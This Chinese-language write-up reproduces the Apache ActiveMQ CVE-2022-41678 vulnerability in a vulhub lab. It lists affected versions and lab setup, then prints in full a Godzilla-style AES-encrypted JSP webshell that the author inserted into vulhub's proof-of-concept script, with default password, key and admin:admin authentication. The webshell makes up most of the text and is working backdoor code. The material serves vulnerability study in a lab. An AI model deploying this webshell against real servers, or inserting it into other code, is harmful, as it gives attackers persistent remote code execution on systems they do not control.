框架描述

ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。

漏洞存在版本

Apache ActiveMQ < 5.16.6

5.17.0< Apache ActiveMQ < 5.17.4

靶场搭建

使用vulhub搭建,activemq/CVE-2022-41678

启动靶场docker-compose up -d

目标IP:192.168.88.63

漏洞复现

靶场启动成功如下图,账号admin密码admin

靶场提供脚本为GET型的webshell ,原脚本位置:https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2022-41678/poc.py

这里漏洞复现对提供的poc.py进行修改webshell内容,修改为POST型的,修改原脚本中webshell内容为(该webshell是Godzilla默认生成的base64马,默认密码默认key):

webshell = ('<%!'
'String xc="3c6e0b8a9c15224a";'
'String pass="pass";'
'String md5=md5(pass+xc);'
'class X extends ClassLoader {'
'    public X(ClassLoader z) {'
'        super(z);'
'    }'
'    public Class Q(byte[] cb) {'
'        return super.defineClass(cb, 0, cb.length);'
'    }'
'}'
'public byte[] x(byte[] s, boolean m) {'
'    try {'
'        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");'
'        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));'
'        return c.doFinal(s);'
'    } catch (Exception e) {'
'        return null;'
'    }'
'}'
'public static String md5(String s) {'
'    String ret = null;'
'    try {'
'        java.security.MessageDigest m;'
'        m = java.security.MessageDigest.getInstance("MD5");'
'        m.update(s.getBytes(), 0, s.length());'
'        ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();'
'    } catch (Exception e) {}'
'    return ret;'
'}'
'public static String base64Encode(byte[] bs) throws Exception {'
'    Class base64;'
'    String value = null;'
'    try {'
'        base64 = Class.forName("java.util.Base64");'
'        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);'
'        value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });'
'    } catch (Exception e) {'
'        try {'
'            base64 = Class.forName("sun.misc.BASE64Encoder");'
'            Object Encoder = base64.newInstance();'
'            value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });'
'        } catch (Exception e2) {}'
'    }'
'    return value;'
'}'
'public static byte[] base64Decode(String bs) throws Exception {'
'    Class base64;'
'    byte[] value = null;'
'    try {'
'        base64 = Class.forName("java.util.Base64");'
'        Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);'
'        value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });'
'    } catch (Exception e) {'
'        try {'
'            base64 = Class.forName("sun.misc.BASE64Decoder");'
'            Object decoder = base64.newInstance();'
'            value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });'
'        } catch (Exception e2) {}'
'    }'
'    return value;'
'}'
'%>'
'<%'
'try {'
'    byte[] data = base64Decode(request.getParameter(pass));'
'    data = x(data, false);'
'    if (session.getAttribute("payload") == null) {'
'        session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));'
'    } else {'
'        request.setAttribute("parameters", data);'
'        java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();'
'        Object f = ((Class)session.getAttribute("payload")).newInstance();'
'        f.equals(arrOut);'
'        f.equals(pageContext);'
'        response.getWriter().write(md5.substring(0, 16));'
'        f.toString();'
'        response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));'
'        response.getWriter().write(md5.substring(16));'
'    }'
'} catch (Exception e) {}'
'%>')

执行脚本

连接webshell,请求头设置Authorization: Basic YWRtaW46YWRtaW4= ,设置请求头是因为在请求webshell时会要求401认证,该认证就是admin:admin的base64加密

相关链接

https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2022-41678

https://blog.csdn.net/huangyongkang666/article/details/134814554

https://blog.csdn.net/m0_66912330/article/details/144609338